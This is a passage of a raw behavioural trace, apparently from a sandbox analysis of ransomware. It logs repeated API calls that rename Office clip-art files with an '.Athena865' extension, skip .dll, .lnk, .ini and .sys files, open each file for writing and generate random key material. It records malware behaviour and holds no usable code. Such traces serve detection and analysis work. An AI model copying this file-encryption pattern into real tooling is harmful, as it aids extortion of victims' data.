pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.523] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.525] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.526] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.526] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.526] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04134_.WMF" | out: lpString1="AN04134_.WMF") returned="AN04134_.WMF" [0121.526] lstrlenW (lpString="AN04134_.WMF") returned 12 [0121.527] lstrlenW (lpString="Athena865") returned 9 [0121.527] lstrcmpiW (lpString1="4134_.WMF", lpString2="Athena865") returned -1 [0121.527] lstrlenW (lpString=".dll") returned 4 [0121.527] lstrcmpiW (lpString1="AN04134_.WMF", lpString2=".dll") returned 1 [0121.527] lstrlenW (lpString=".lnk") returned 4 [0121.527] lstrcmpiW (lpString1="AN04134_.WMF", lpString2=".lnk") returned 1 [0121.527] lstrlenW (lpString=".ini") returned 4 [0121.527] lstrcmpiW (lpString1="AN04134_.WMF", lpString2=".ini") returned 1 [0121.527] lstrlenW (lpString=".sys") returned 4 [0121.527] lstrcmpiW (lpString1="AN04134_.WMF", lpString2=".sys") returned 1 [0121.527] lstrlenW (lpString="AN04134_.WMF") returned 12 [0121.527] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.Athena865") returned 73 [0121.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.528] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3416) returned 1 [0121.528] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.529] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.529] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.531] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.531] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.531] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.532] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04174_.WMF" | out: lpString1="AN04174_.WMF") returned="AN04174_.WMF" [0121.532] lstrlenW (lpString="AN04174_.WMF") returned 12 [0121.532] lstrlenW (lpString="Athena865") returned 9 [0121.532] lstrcmpiW (lpString1="4174_.WMF", lpString2="Athena865") returned -1 [0121.532] lstrlenW (lpString=".dll") returned 4 [0121.532] lstrcmpiW (lpString1="AN04174_.WMF", lpString2=".dll") returned 1 [0121.532] lstrlenW (lpString=".lnk") returned 4 [0121.532] lstrcmpiW (lpString1="AN04174_.WMF", lpString2=".lnk") returned 1 [0121.532] lstrlenW (lpString=".ini") returned 4 [0121.532] lstrcmpiW (lpString1="AN04174_.WMF", lpString2=".ini") returned 1 [0121.532] lstrlenW (lpString=".sys") returned 4 [0121.532] lstrcmpiW (lpString1="AN04174_.WMF", lpString2=".sys") returned 1 [0121.532] lstrlenW (lpString="AN04174_.WMF") returned 12 [0121.532] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.Athena865") returned 73 [0121.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.534] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2636) returned 1 [0121.534] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.535] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.535] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.537] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.537] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.537] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.538] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04191_.WMF" | out: lpString1="AN04191_.WMF") returned="AN04191_.WMF" [0121.538] lstrlenW (lpString="AN04191_.WMF") returned 12 [0121.538] lstrlenW (lpString="Athena865") returned 9 [0121.538] lstrcmpiW (lpString1="4191_.WMF", lpString2="Athena865") returned -1 [0121.538] lstrlenW (lpString=".dll") returned 4 [0121.538] lstrcmpiW (lpString1="AN04191_.WMF", lpString2=".dll") returned 1 [0121.538] lstrlenW (lpString=".lnk") returned 4 [0121.538] lstrcmpiW (lpString1="AN04191_.WMF", lpString2=".lnk") returned 1 [0121.538] lstrlenW (lpString=".ini") returned 4 [0121.538] lstrcmpiW (lpString1="AN04191_.WMF", lpString2=".ini") returned 1 [0121.538] lstrlenW (lpString=".sys") returned 4 [0121.538] lstrcmpiW (lpString1="AN04191_.WMF", lpString2=".sys") returned 1 [0121.538] lstrlenW (lpString="AN04191_.WMF") returned 12 [0121.538] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.Athena865") returned 73 [0121.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.539] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6636) returned 1 [0121.539] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.540] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.540] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.544] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.545] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.545] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.545] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04195_.WMF" | out: lpString1="AN04195_.WMF") returned="AN04195_.WMF" [0121.545] lstrlenW (lpString="AN04195_.WMF") returned 12 [0121.545] lstrlenW (lpString="Athena865") returned 9 [0121.545] lstrcmpiW (lpString1="4195_.WMF", lpString2="Athena865") returned -1 [0121.545] lstrlenW (lpString=".dll") returned 4 [0121.545] lstrcmpiW (lpString1="AN04195_.WMF", lpString2=".dll") returned 1 [0121.545] lstrlenW (lpString=".lnk") returned 4 [0121.545] lstrcmpiW (lpString1="AN04195_.WMF", lpString2=".lnk") returned 1 [0121.545] lstrlenW (lpString=".ini") returned 4 [0121.545] lstrcmpiW (lpString1="AN04195_.WMF", lpString2=".ini") returned 1 [0121.545] lstrlenW (lpString=".sys") returned 4 [0121.545] lstrcmpiW (lpString1="AN04195_.WMF", lpString2=".sys") returned 1 [0121.545] lstrlenW (lpString="AN04195_.WMF") returned 12 [0121.546] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.Athena865") returned 73 [0121.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.547] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4612) returned 1 [0121.547] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.547] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.547] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.550] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.551] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.551] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.551] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04196_.WMF" | out: lpString1="AN04196_.WMF") returned="AN04196_.WMF" [0121.551] lstrlenW (lpString="AN04196_.WMF") returned 12 [0121.552] lstrlenW (lpString="Athena865") returned 9 [0121.552] lstrcmpiW (lpString1="4196_.WMF", lpString2="Athena865") returned -1 [0121.552] lstrlenW (lpString=".dll") returned 4 [0121.552] lstrcmpiW (lpString1="AN04196_.WMF", lpString2=".dll") returned 1 [0121.552] lstrlenW (lpString=".lnk") returned 4 [0121.552] lstrcmpiW (lpString1="AN04196_.WMF", lpString2=".lnk") returned 1 [0121.552] lstrlenW (lpString=".ini") returned 4 [0121.552] lstrcmpiW (lpString1="AN04196_.WMF", lpString2=".ini") returned 1 [0121.552] lstrlenW (lpString=".sys") returned 4 [0121.552] lstrcmpiW (lpString1="AN04196_.WMF", lpString2=".sys") returned 1 [0121.552] lstrlenW (lpString="AN04196_.WMF") returned 12 [0121.552] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.Athena865") returned 73 [0121.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.553] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3144) returned 1 [0121.553] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.554] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.554] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.558] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.559] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.559] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.559] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04206_.WMF" | out: lpString1="AN04206_.WMF") returned="AN04206_.WMF" [0121.559] lstrlenW (lpString="AN04206_.WMF") returned 12 [0121.559] lstrlenW (lpString="Athena865") returned 9 [0121.559] lstrcmpiW (lpString1="4206_.WMF", lpString2="Athena865") returned -1 [0121.559] lstrlenW (lpString=".dll") returned 4 [0121.559] lstrcmpiW (lpString1="AN04206_.WMF", lpString2=".dll") returned 1 [0121.559] lstrlenW (lpString=".lnk") returned 4 [0121.559] lstrcmpiW (lpString1="AN04206_.WMF", lpString2=".lnk") returned 1 [0121.559] lstrlenW (lpString=".ini") returned 4 [0121.559] lstrcmpiW (lpString1="AN04206_.WMF", lpString2=".ini") returned 1 [0121.559] lstrlenW (lpString=".sys") returned 4 [0121.559] lstrcmpiW (lpString1="AN04206_.WMF", lpString2=".sys") returned 1 [0121.559] lstrlenW (lpString="AN04206_.WMF") returned 12 [0121.559] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.Athena865") returned 73 [0121.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.561] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7668) returned 1 [0121.561] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.562] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.562] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.566] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.567] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.567] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.568] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04225_.WMF" | out: lpString1="AN04225_.WMF") returned="AN04225_.WMF" [0121.568] lstrlenW (lpString="AN04225_.WMF") returned 12 [0121.568] lstrlenW (lpString="Athena865") returned 9 [0121.568] lstrcmpiW (lpString1="4225_.WMF", lpString2="Athena865") returned -1 [0121.568] lstrlenW (lpString=".dll") returned 4 [0121.568] lstrcmpiW (lpString1="AN04225_.WMF", lpString2=".dll") returned 1 [0121.568] lstrlenW (lpString=".lnk") returned 4 [0121.568] lstrcmpiW (lpString1="AN04225_.WMF", lpString2=".lnk") returned 1 [0121.568] lstrlenW (lpString=".ini") returned 4 [0121.568] lstrcmpiW (lpString1="AN04225_.WMF", lpString2=".ini") returned 1 [0121.568] lstrlenW (lpString=".sys") returned 4 [0121.568] lstrcmpiW (lpString1="AN04225_.WMF", lpString2=".sys") returned 1 [0121.568] lstrlenW (lpString="AN04225_.WMF") returned 12 [0121.568] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.Athena865") returned 73 [0121.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.569] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8492) returned 1 [0121.569] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.570] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.570] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.572] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.573] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.573] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.573] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04235_.WMF" | out: lpString1="AN04235_.WMF") returned="AN04235_.WMF" [0121.573] lstrlenW (lpString="AN04235_.WMF") returned 12 [0121.573] lstrlenW (lpString="Athena865") returned 9 [0121.573] lstrcmpiW (lpString1="4235_.WMF", lpString2="Athena865") returned -1 [0121.573] lstrlenW (lpString=".dll") returned 4 [0121.573] lstrcmpiW (lpString1="AN04235_.WMF", lpString2=".dll") returned 1 [0121.573] lstrlenW (lpString=".lnk") returned 4 [0121.574] lstrcmpiW (lpString1="AN04235_.WMF", lpString2=".lnk") returned 1 [0121.574] lstrlenW (lpString=".ini") returned 4 [0121.574] lstrcmpiW (lpString1="AN04235_.WMF", lpString2=".ini") returned 1 [0121.574] lstrlenW (lpString=".sys") returned 4 [0121.574] lstrcmpiW (lpString1="AN04235_.WMF", lpString2=".sys") returned 1 [0121.574] lstrlenW (lpString="AN04235_.WMF") returned 12 [0121.574] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.Athena865") returned 73 [0121.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.575] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7804) returned 1 [0121.575] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.576] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.576] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.578] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.578] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.578] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.579] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04267_.WMF" | out: lpString1="AN04267_.WMF") returned="AN04267_.WMF" [0121.579] lstrlenW (lpString="AN04267_.WMF") returned 12 [0121.579] lstrlenW (lpString="Athena865") returned 9 [0121.579] lstrcmpiW (lpString1="4267_.WMF", lpString2="Athena865") returned -1 [0121.579] lstrlenW (lpString=".dll") returned 4 [0121.579] lstrcmpiW (lpString1="AN04267_.WMF", lpString2=".dll") returned 1 [0121.579] lstrlenW (lpString=".lnk") returned 4 [0121.579] lstrcmpiW (lpString1="AN04267_.WMF", lpString2=".lnk") returned 1 [0121.579] lstrlenW (lpString=".ini") returned 4 [0121.579] lstrcmpiW (lpString1="AN04267_.WMF", lpString2=".ini") returned 1 [0121.579] lstrlenW (lpString=".sys") returned 4 [0121.579] lstrcmpiW (lpString1="AN04267_.WMF", lpString2=".sys") returned 1 [0121.579] lstrlenW (lpString="AN04267_.WMF") returned 12 [0121.579] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.Athena865") returned 73 [0121.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.580] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7804) returned 1 [0121.581] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.581] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.581] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.585] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.586] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.586] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.587] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04269_.WMF" | out: lpString1="AN04269_.WMF") returned="AN04269_.WMF" [0121.587] lstrlenW (lpString="AN04269_.WMF") returned 12 [0121.587] lstrlenW (lpString="Athena865") returned 9 [0121.587] lstrcmpiW (lpString1="4269_.WMF", lpString2="Athena865") returned -1 [0121.587] lstrlenW (lpString=".dll") returned 4 [0121.587] lstrcmpiW (lpString1="AN04269_.WMF", lpString2=".dll") returned 1 [0121.587] lstrlenW (lpString=".lnk") returned 4 [0121.587] lstrcmpiW (lpString1="AN04269_.WMF", lpString2=".lnk") returned 1 [0121.587] lstrlenW (lpString=".ini") returned 4 [0121.587] lstrcmpiW (lpString1="AN04269_.WMF", lpString2=".ini") returned 1 [0121.587] lstrlenW (lpString=".sys") returned 4 [0121.587] lstrcmpiW (lpString1="AN04269_.WMF", lpString2=".sys") returned 1 [0121.587] lstrlenW (lpString="AN04269_.WMF") returned 12 [0121.587] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.Athena865") returned 73 [0121.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, 